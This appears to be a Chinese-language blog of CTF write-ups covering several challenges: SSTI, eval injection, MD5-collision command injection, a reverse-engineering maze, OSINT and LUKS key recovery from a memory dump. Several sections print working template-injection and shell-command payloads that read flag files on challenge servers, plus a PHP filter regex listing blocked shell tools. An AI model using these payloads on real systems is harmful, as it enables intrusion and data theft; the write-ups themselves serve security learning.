0%

/DownunderCTF 2020的Robotssss。

开题让我们登录,题目提示robot,先看一下robots.txt,没有这个文件???

然后注册,登录,有两个Info:

Robot rebels!

Human developers think that they are cool by using robots.txt to tell search engine crawlers which pages or files the crawler can or can't request from your site. But this is insulting to us robots. Lets get them back with using humans.txt. This should stop human crawlers from find pages or files on our website.

From yours truly, Robot developers

Hey robot devs!

Delete this post the second all you robot devs see this (we can't let any humans see this). I left the secret flag at /s3cr3t_p4th/robot_fl4g.txt. Remember to delete this post ASAP!

From yours truly, Robot Admin

第一个告诉我们这题不用robots.txt,改成humans.txt了,第二个告诉我们flag在/s3cr3t_p4th/robot_fl4g.txt。看一下humans.txt,提示/4dm1n_Cr3ds,访问后提示Good day robot rebel. The admin cred is 6zMLV46JRp6kAmTs3nx5AG4WJgYeY.,这个值不随IP改变、时间等改变,固定值。

注册后Cookie为Flask格式:.eJwtzjkSwjAMAMC_uE4h67Kdz2QkWxpoE1Ix_B0Kqm33XY4843qU_XXesZXjucpe 0Mci8EaVQ0iDsJJFQ8PKNN3HDxlRlyBQxARPyC4py2guM56hicDsoq1VyZzdIJW9A3BiD87pmtJTVMdyc1bLptYTKlLZyn3F-c-UzxeSJi9T.X3sYtg.o0JYCdYE usTA8S939UhbeGYqhmY,解完为:{"_fresh":true,"_id":"2b9d30b7314e536e3213ae72a2143cbb914359e1d5203eec0bf0f85f5da3cdaa4ce6f2044b567715ffc8a0f64b8004f28e4f cb6f58f5669dbab46af76a8f0123","user_id":"2"}

然后发现我们看两则消息时的URL为:/robot_blogs/1,改一下那个1,返回404。

后来在提示flag位置的页面上F12发现藏了一段noscript:<noscript><p class="magic">0110011001101100001101000110011100101110011101000111100001110100</p></noscript>,解完是fl4g.txt。同理,提示humans.txt那里也有一个,humen.txt。humen.txt提示/Bender,可以发现一张图,下载下来,看EXIF信息,Artist又有一段011000010110010001101101011010010110111000111010010101000110100001101001011100110010110101001001011100110010110101010100011010000110010100101101010000010110010001101101011010010110111000101101010100000110000101110011011100110111011101101111011100100110010000101101010110000100010000100001,解完admin:This-Is-The-Admin-Password-XD!,那就登录吧。

然后允许我们输入东西,返回结果,很明显往SSTI想。16返回16,好了,直接读{{config.items()}},没有想要的。那就读flag了。然后发现,过滤了_[],那没了啊。然后仔细回头看config.items的东西:([('ENV', 'production'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', "app.jinja_env.globals['getFile'] = getFile(fileName)"), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', False), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(seconds=43200)), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('SQLALCHEMY_DATABASE_URI', 'sqlite:////db/templatedb.db'), ('SQLALCHEMY_TRACK_MODIFICATIONS', False), ('DATABASE', '../templatedb.db'), ('SQLALCHEMY_BINDS', None), ('SQLALCHEMY_NATIVE_UNICODE', None), ('SQLALCHEMY_ECHO', False), ('SQLALCHEMY_RECORD_QUERIES', None), ('SQLALCHEMY_POOL_SIZE', None), ('SQLALCHEMY_POOL_TIMEOUT', None), ('SQLALCHEMY_POOL_RECYCLE', None), ('SQLALCHEMY_MAX_OVERFLOW', None), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False), ('SQLALCHEMY_ENGINE_OPTIONS', {})]),有个app.jinja_env.globals['getFile'],我们试着用getFile读文件:{{getFile('/fl4g.txt')}},Gotcha。

flag{23798dd1-af76-4caf-aec3-c5c8a97903f4}

好久没见到OSINT的题了。

Welcome to Petstagram

Who is Alexandros the cat exactly? And who is this mysterious “mum” he keeps talking about? Submit his mum’s full name in lowercase and with underscores instead of spaces, as the flag.

OSINT的题全部要靠Google的。问我们Alexandros the cat是谁?他提到的mum是谁?我们要交的是mum的全名。

不知道Alexandros是谁,Google搜。

排名第一是个Alexandros乐队,而且恰好有首叫Cat的歌,不是我们要找的。往下翻可以看到一个Instgram,点开发现使我们要找的东西。

我们要找的是mum,猜测mum会关注Cat的Instgram,点开Followers一个个看,我习惯先看最后最早关注的,emwaters92。

我们提交emily_waters,不对。看来名字应该少一部分。

那就看发帖内容。在cat的帖子中发现YouTube Channel。2020年9月5日注册。

提交emily_gelato_waters和emily_elgato_waters,不对。

以gelato_elgato为关键词搜索,搜到的结果全是Elgato公司的网页,没找到我们要找的人。然后明确一下elgato是啥,这是一家做游戏实况设备的公司,例如麦克风、录屏器、直播分流器、灯光、绿屏等。而Gelato是一种意大利冰淇淋。

搜不到,那就Twitter Facebook上找这个名字。Twitter上有

顺着这个搜索结果,我们找到用户@gelato_elgato。

昵称是call me theresa。大胆猜测mum的名字是Emily Thereas Waters。提交,过了。

其实可以不翻Twitter,找到emily waters的Instgram后会发现他有一个商务邮箱emilytwaters92@gmail.com,直接发个邮件她会回复东西:

直接搞定。

Bad Man

We have recently received reports about a hacker who goes by the alias und3rm4t3r. He has been threatening innocent people for money and must be stopped. Help us find him and get us the flag.

要找一个叫und3rm4t3r的黑客。

搜到Twitter。

7月23日发了一条推:since a when is vp:Qj6ixmFZA not a strong password smh....不知道什么的密码,以及上面的一条推whew that was close.... put out a tweet that contained personal information... welp im glad we have a delete button。看起来他把某些推文删了。

那就查历史记录,web.archive.org是个好东西:https://web.archive.org/web/20200723112257/https://twitter.com/und3rm4t3r。

Off the Rails

I’m in trouble, I’m on the run... My friend told me he would meet me underneath a rail bridge 2km from his house before we escape on a train but he forgot to tell me where he lived. He took two day trips relatively close by and sent me two photos.

I also know that late last year, there was a fire near the suburbs approximately 25km from where he lives.

He lives somewhere in the middle of those three points. Could you tell me the name of the road parallel to the bridge, and the latitude and longitude of the bridge? P.S. The longitude and latitude should be to 3 decimal places (plus if necessary include the . and/or -). Each segement of the flag should be seperated by an underscore. The road name type should be the same as when you find it. The flag is also case insensitive.

简单来说,要我们通过两张照片确定一个街道的名称、精度、纬度。这两张照片是题目主人公他朋友住处附近拍的,住处25km外的郊区去年年底有一场大火。

先看图吧,koala.jpg有EXIF元数据,可以知道纬度:37,40.98066S,经度:145,31.7097E。Google Map查地址在这里。澳大利亚的维多利亚州一个叫Badger Creek VIC 3777, Australia的地方。

on_track.jpg没有EXIF元数据,Google搜图发现是Trestle bridge,栈桥。然后找澳大利亚维多利亚州的栈桥,一张张对比,发现Puffing Billy Railway Trestle Bridge超像,因为那个转弯很有特点,正好对的上。

然后呢,我们要找一场去年的大火,在那座桥的附近25km处。这个距离太大,我们从维多利亚州的大火入手。搜索“australia victoria bushfire 2019 suburb”,找到维基百科

关键的一句话:

Plenty Gorge Parklands在12月30号着火了,我们看一下地图。

现在我们有三个地方:Puffing Billy Railway Trestle Bridge,Plenty Gorge Parklands和Badger Creek VIC 3777,Google Map上标点。

回到题目描述,朋友住在这三点中间,我们取三角形边的中点连线: 然后要找2km附近的一座铁路桥。先找铁路 附近找桥 然后要找与这座桥平行的路,就在旁边,Creek Rd。 所以答案:-37.751817, 145.351507,Creek_Rd,保留三位小数:-37.752_145.352_Creek_Rd。

I think this one is really going to take off

You’ll never believe it but I swear I saw one of those big American refueling planes flying around right over the boxing croc on the first of September. If only I knew its registration number... I bet I’d be able to find out all kinds of information, like the day it first flew. The flag will be the date of the first flight of the plane I saw in this format: DUCTF{DD-MM-YY}

好多美国的加油机在9月1日飞过一个拳击鳄鱼(´゚Д゚`)。我们要找那趟航班的第一架飞机起飞时间。

先确定refueling plane是指加油机,给其他飞机加油的飞机,而且是军用的。然后找boxing croc是什么鬼,找到这个

地址 326 Arnhem Highway, Humpty Doo, Northern Territory 0836 Australia

怎么找飞机?谷歌搜“How to track aircraft”,可以找到这个链接,发现有个根据ADS-B信号找飞机的网站,而且专用于寻找军用飞机。注意,我们不需要实时跟踪,要找历史数据。

然后发现网站仅保留1个月历史数据,GG。此题终结。(・ー・)

flag{b0ccd8d3-726b-4263-98a7-60f995f79b09}

BUUOJ Reverse的不一样的flag。 开局F5,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v3; // [esp+17h] [ebp-35h]
int v4; // [esp+30h] [ebp-1Ch]
int v5; // [esp+34h] [ebp-18h]
signed int v6; // [esp+38h] [ebp-14h]
int i; // [esp+3Ch] [ebp-10h]
int v8; // [esp+40h] [ebp-Ch]

__main();
v4 = 0;
v5 = 0;
qmemcpy(&v3, _data_start__, 0x19u);
while ( 1 )
{
puts("you can choose one action to execute");
puts("1 up");
puts("2 down");
puts("3 left");
printf("4 right\n:");
scanf("%d", &v6);
if ( v6 == 2 )
{
++v4;
}
else if ( v6 > 2 )
{
if ( v6 == 3 )
{
--v5;
}
else
{
if ( v6 != 4 )
LABEL_13:
exit(1);
++v5;
}
}
else
{
if ( v6 != 1 )
goto LABEL_13;
--v4;
}
for ( i = 0; i <= 1; ++i )
{
if ( *(&v4 + i) < 0 || *(&v4 + i) > 4 )
exit(1);
}
if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 41) == 49 )
exit(1);
if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 41) == 35 )
{
puts("\nok, the order you enter is the flag!");
exit(0);
}
}
}

这题拿出来是因为这题反映,做逆向是一定要看汇编的。我们直接看代码,发现会有点奇怪。到for ( i = 0; i <= 1; ++i )之前没问题,判断输入是否合法。从for开始有问题了,i=1时*(&v4+i)是什么写法,&v4是输入,根据定义应该是个int,不是数组,不应该+i的。但是,看上面对v4 v5的注释,一个在[esp+30h],一个在[esp+34h],位置相差一个int字节(4),所以其实*(&v4+1)说的是v5。然后下面那个if更不知所云。v8声明后就没用过,这个时候突然冒出来。v5的位置是[esp+40h],那么*(&v8)-41(这个41是十进制)实际上等于[esp+17h]。然后回头看汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00401334                 push    ebp
.text:00401335 mov ebp, esp
.text:00401337 push edi
.text:00401338 push esi
.text:00401339 push ebx
.text:0040133A and esp, 0FFFFFFF0h
.text:0040133D sub esp, 40h
.text:00401340 call ___main
.text:00401345 mov dword ptr [esp+30h], 0
.text:0040134D mov dword ptr [esp+34h], 0
.text:00401355 lea edx, [esp+17h]
.text:00401359 mov ebx, offset __data_start__ ; "*11110100001010000101111#"
.text:0040135E mov eax, 19h
.text:00401363 mov edi, edx
.text:00401365 mov esi, ebx
.text:00401367 mov ecx, eax
.text:00401369 rep movsb
.text:0040136B jmp short loc_40136E
esp+17h被lea赋值给edx后又赋值edi,然后ebx等于__data_start__的地址,把ecx赋值为0x19(十进制25),执行rep movsb,把esi指向地址的字符搬到edi指向,执行25次。 所以[esp+17h]就是__data_start__。那么回到F5的代码,*((_BYTE *)&v8 + 5 * v4 + v5 - 41)可写成*(&__data_start__ + 5 * v4 + v5),5*v4+v5,有点像二维数组的读取方式。 那么把那串神比的__data_start__展成二维数组的形式: 1111 01000 01010 00010 1111# 实际上这是个迷宫。我们入口点在,要求根据输入执行上下左右移动,不能碰到1(49),最终走到#(35)。这个直接看就行,下下下右右上上右右下下下下。 执行程序,依次输入222441122444,提示ok, the order you enter is the flag!,那就是flag{222441122444}。

flag{f0938a65-f4d9-48d5-9289-dacc329978f7}

Downunder CTF 2020的Misc。就不拆成太多文章了。

16-home-runs

How does this string relate to baseball in anyway? What even is baseball? And how does this relate to Cyber Security? ¯(ツ)/¯ RFVDVEZ7MTZfaDBtM19ydW41X20zNG41X3J1bm4xbjZfcDQ1N182NF9iNDUzNX0=

没啥说的,Base64解码就完事了嗷。DUCTF{16_h0m3_run5_m34n5_runn1n6_p457_64_b4535}

Addition

Joe is aiming to become the next supreme coder by trying to make his code smaller and smaller. His most recent project is a simple calculator which he reckons is super secure because of the "filters" he has in place. However, he thinks that he knows more than everyone around him. Put Joe in his place and grab the flag.

给了个网址。计算器,这东西不应该是Web(σ゚д゚)σ?可以用1+ord('a'),看来是直接Eval的。输入globals()看一下全局变量,

{'name': 'main', 'doc': None, 'package': '', 'loader': <_frozen_importlib_external.SourceFileLoader object at 0x7fa0f27d7520>, 'spec': ModuleSpec(name='main', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7fa0f27d7520>, origin='./main.py'), 'file': './main.py', 'cached': './pycache/main.cpython-38.pyc', 'builtins': {'name': 'builtins', 'doc': "Built-in functions, exceptions, and other objects.: None is the nil' object; Ellipsis represents...' in slices.", 'package': '', 'loader': <class '_frozen_importlib.BuiltinImporter'>, 'spec': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), 'build_class': <built-in function build_class>, 'import': <built-in function import>, 'abs': , 'all': , 'any': , 'ascii': , 'bin': , 'breakpoint': , 'callable': , 'chr': , 'compile': , 'delattr': , 'dir': , 'divmod': , 'eval': , 'exec': , 'format': , 'getattr': , 'globals': , 'hasattr': , 'hash': , 'hex': , 'id': , 'input': , 'isinstance': , 'issubclass': , 'iter': , 'len': , 'locals': , 'max': , 'min': , 'next': , 'oct': , 'ord': , 'pow': , 'print': , 'repr': , 'round': , 'setattr': , 'sorted': , 'sum': , 'vars': , 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, 'debug': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': , 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2020 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'FlaskForm': <class 'flask_wtf.form.FlaskForm'>, 'Flask': <class 'flask.app.Flask'>, 'render_template': <function render_template at 0x7fa0f16b80d0>, 'request': <Request 'http://127.0.0.1:1337/' [POST]>, 'Form': <class 'wtforms.form.Form'>, 'validators': <module 'wtforms.validators' from '/usr/local/lib/python3.8/site-packages/wtforms/validators.py'>, 'StringField': <class 'wtforms.fields.core.StringField'>, 'SubmitField': <class 'wtforms.fields.simple.SubmitField'>, 'app': <Flask 'main'>, 'blacklist': ['import', 'os', 'sys', ';', 'print', 'import', 'SECRET', 'KEY', 'app', 'open', 'globals', 'proc', 'self', 'read', 'exec'], 'maybe_not_maybe_this': 'HYPA HYPA', 'maybe_this_maybe_not': 'DUCTF{3v4L_1s_D4ng3r0u5}', 'CalculatorInput': <class 'main.CalculatorInput'>, 'mainpage': <function mainpage at 0x7fa0f2800040>}

Flag直接给出来了,写在了配置文件。没写的话可以用open打开文件,以及,__import__没Ban呢,直接__import__('subprocess').getoutput('ls')执行命令。

homepage

Hmm wasnt the homepage logo rainbow before? I wonder how it works...

Downunderctf.com主页上的logo有些东西,看源码得到splash.js,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
(function () {
const END = new Date('2020-09-20T19:00:00.000+10:00');
const dispMain = document.getElementById('countdown');
const disp = {
ending: dispMain.querySelector('#ending'),
hour: dispMain.querySelector('#countdown>.hour'),
minute: dispMain.querySelector('#countdown>.minute'),
second: dispMain.querySelector('#countdown>.second'),
}
let timeout = 0;
function countdown() {
const diff = Math.floor((END - new Date()) / 1000);
if (diff < 0) {
ending.parentNode.removeChild(ending);
dispMain.innerHTML = '<h3>Join us again in 2021</h3>';
return;
}
disp.hour.textContent = (Math.floor(diff / 3600)).toString().padStart(2, '0');
disp.minute.textContent = (Math.floor(diff / 60) % 60).toString().padStart(2, '0');
disp.second.textContent = (diff % 60).toString().padStart(2, '0');
setTimeout(countdown, 1000);
}
countdown();
}) ();
(function () {
function randomColor() {
var letters = '0123456789ABCDEF';
var color = '#';
for (var i = 0; i < 6; i++) {
color += letters[Math.floor(6 + Math.random() * 10)];
}
return color;
}
function reset(elem) {
return function () {
elem.style.fill = '';
}
}
const lol = '00101000000010000010111101100001101001011101000101101110100001100011111101101010' +
'1010001111000111101000110010000001000000010010001000011111011101001111101001110111101010' +
'0110011110010111100011011110001010000010001100110110000101011001110101010001011101001001' +
'0110000011011110001010110011001011111001110010011101100011110000110111111001000011010101' +
'0100000000101000111110101000111001111100111000010001000100110';
document.querySelectorAll('#logo circle').forEach(function (c, k) {
c.addEventListener('mouseover', function (e) {
e.target.style.fill = lol[k] === '0' ? '#005248' : '#C3FCF1';
})
});
}) ();

const lol很扎眼,我们直接2进制转字符串是乱码,要处理一下。主页上有个405个点组成的SVG图形,上面代码简单来说就是要每当鼠标划过一个点时,根据lol的对应位与这个点在405个点的索引值赋色。

flag{afd7081d-c9cc-42ed-865d-ef93d7e2a800}

安洵杯 2019的easy_web。 上来就是Orange传世名篇(不是,注意URL,http://01247d3a-afa6-47e3-8066-91d9c4cb599a.node3.buuoj.cn/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=,cmd先不管是啥,img很有意思,两次Base64后再转字符串,得到555.png,那就试着读index.php,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
很明显,一个RCE。但是要先绕MD5,这个简单,Fastcoll 生成两个文件,Python requests直接提交就行。然后读flag。ls不让用,我们可以dir,发现在/有flag。没法用cat tail head less more等读文件。尝试用man /flag,没装man,这个时候怎么办呢?两种思路:一是继续找有没有其他的命令,这个时候一定要注意去找coreutils有没有神奇的命令,例如xxd sort uniq fmt tarcat paste tac base64 base32 base85等命令。二是用bash绕过。例如,cat /flag,正常ASCII字符前加转义\\,是没有用的。所以,\cat /flag一样可以。注意空格被过滤了,要用%20替换。不过requests自动编码,顺手绕过了。

flag{742613ae-89e7-4cf2-8ee0-1136024a27b7}

RSA基础:已知p q e,求d

1
2
3
4
5
6
from gmpy2 import invert,mpz
p=mpz(473398607161)
q=mpz(4511491)
e=mpz(17)
d=invert(e,(p-1)*(q-1))
print(d)

flag{08885356-0c68-4d96-8135-121d824e513c}

BJDCTF 2nd Fake Google。

页面是个假的Google,输入XXX搜索后返回P3's girlfriend is XXX,输入4返回4,SSTI。

盲猜一个Flask。那就{{config.items()}},没有flag。然后{{''.\_\_class\_\_.\_\_mro\_\_}}返回(<class 'str'>, <class 'object'>),那就直接mro.subclasses了:

{{''.\_\_class\_\_.\_\_mro\_\_[1].\_\_subclasses\_\_()\[402\](%27cat%20/flag%27,shell=True,stdout=-1).communicate()}}

我们找的是subprocess.Popen,要先{{''.\_\_class\_\_.\_\_mro\_\_.\_\_subclasses\_\_}}列所有的子元素,然后找对应下标。

flag{0814a99f-6040-4e9b-b42a-e44ce68fab22}

Downunder CTF 2020的fix-my-pc,给了个rescue.zip,解压是两个bin。

1
2
3
4
file crash.bin
crash.bin: ELF 64-bit LSB core file, x86-64, version 1 (SYSV), SVR4-style
file system.bin
system.bin: QEMU QCOW2 Image (v3), 824634368 bytes
crash.bin大概率是个内存镜像。system.bin是个QCOW2镜像,qemu-nbd挂载就OK。 先挂载QCOW2:modprobe nbd;qemu-nbd --connect=/dev/nbd0 system.bin。 然后fdisk -l查看分区信息:
1
2
3
4
5
6
7
8
9
10
11
Disk /dev/nbd0: 786.43 MiB, 824634368 bytes, 1610614 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00000000

Device Boot Start End Sectors Size Id Type
/dev/nbd0p1 63 204862 204800 100M 83 Linux
/dev/nbd0p2 204863 1253438 1048576 512M 83 Linux
/dev/nbd0p3 1253439 1610613 357175 174.4M 83 Linux
mount挂载分区,发现nbd0p2和p3不能挂载,分区类型为crypto_LUKS。尝试挂载:modprobe dm-crypt;modprobe dm-mod;cryptsetup open /dev/nbd2 test2,然后要密码。没密码,那就去内存翻。

在去内存找密码之前,先看一下LUKS头信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# cryptsetup luksDump /dev/nbd0p2                                                                                                 root@CTFServer-Vindication
LUKS header information
Version: 2
Epoch: 3
Metadata area: 16384 [bytes]
Keyslots area: 16744448 [bytes]
UUID: d2ed9bec-ef5f-4482-a03c-57c3b3aabcb3
Label: (no label)
Subsystem: (no subsystem)
Flags: (no flags)

Data segments:
0: crypt
offset: 16777216 [bytes]
length: (whole device)
cipher: aes-xts-plain64
sector: 512 [bytes]

Keyslots:
0: luks2
Key: 512 bits
Priority: normal
Cipher: aes-xts-plain64
Cipher key: 512 bits
PBKDF: argon2i
Time cost: 13
Memory: 249470
Threads: 1
Salt: fa 36 bf 79 a9 69 ec f3 6f 49 aa f0 e7 3b e3 03
a4 2b 1f 9b fd a9 8a b6 ca 02 b8 17 d5 ce cf e3
AF stripes: 4000
AF hash: sha256
Area offset:32768 [bytes]
Area length:258048 [bytes]
Digest ID: 0
Tokens:
Digests:
0: pbkdf2
Hash: sha256
Iterations: 160627
Salt: dc 1a 99 0b f0 b3 c6 bb e5 61 8a f1 41 ff 31 c7
2c 8f d2 b9 7c bf b6 89 d7 20 b9 34 ef ac ae a7
Digest: a0 a2 bb cf e7 27 41 f8 2b e3 df e9 82 c6 c4 f9
98 0f 85 ff 81 e6 e2 cd be f8 0c 3d 33 1a cc 97

用的AES加密。binwalk crash.bin发现是Linux的内存镜像,volatility跑不出来。谷歌搜到了一篇这个,试一下findaes工具。跑出来两个AES 256的Key。

1
2
3
4
5
Searching /home/tiaonmmn/Challenges_2020_public/forensics/fix-my-pc/crash.bin
Found AES-256 key schedule at offset 0x1bffed68:
ff 98 d7 67 61 14 70 24 eb b0 c8 d4 e1 14 18 14 21 4d 2a 83 d7 93 66 09 37 77 55 e5 18 0a 3c 57
Found AES-256 key schedule at offset 0x1bffef58:
09 4e 2a df 58 cf b1 7d 85 f0 f6 93 3f 7b 44 ef a0 0a 3c da 7b be 01 87 3e 09 ff 4e e7 a6 05 39

然后参考这里解密,要注意的是,AES-XTS-Plain64用的是64位密钥,所以要合并上面两段:echo "0 1048576 crypt aes-xts-plain64 094e2adf58cfb17d85f0f6933f7b44efa00a3cda7bbe01873e09ff4ee7a60539ff98d76761147024ebb0c8d4e1141814214d2a83d7936609377755e5180a3c57 0 /dev/nbd0p2 4096" | dmsetup create luks_volume。没有报错,接着挂载:mount /dev/mapper/luks_volume /mnt,得到一个Linux分区,/home没啥东西,/root文件名乱码,直接cat *,得到下面有趣的东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
cat /home/bob/.ash_history 
rm .ash_history
shutdown -h now
shutdown
halt
vi /etc/crypttab
ls
du -h
pwd
ls -la
ls
rm ??b??
cd /etc
ls
blkid >> /etc/crypttab
vim /etc/crypttab
vi /etc/crypttab
cd crypttab.d
cd /etc/crypttab.d
cryptsetup luksOpen /dev/sda3 crypthome --key-file /etc/crypttab.d/home.key
mount -t ext4 /dev/sda3 /home
ls /etc/crypttab.d/home.key
rc-service sshd start

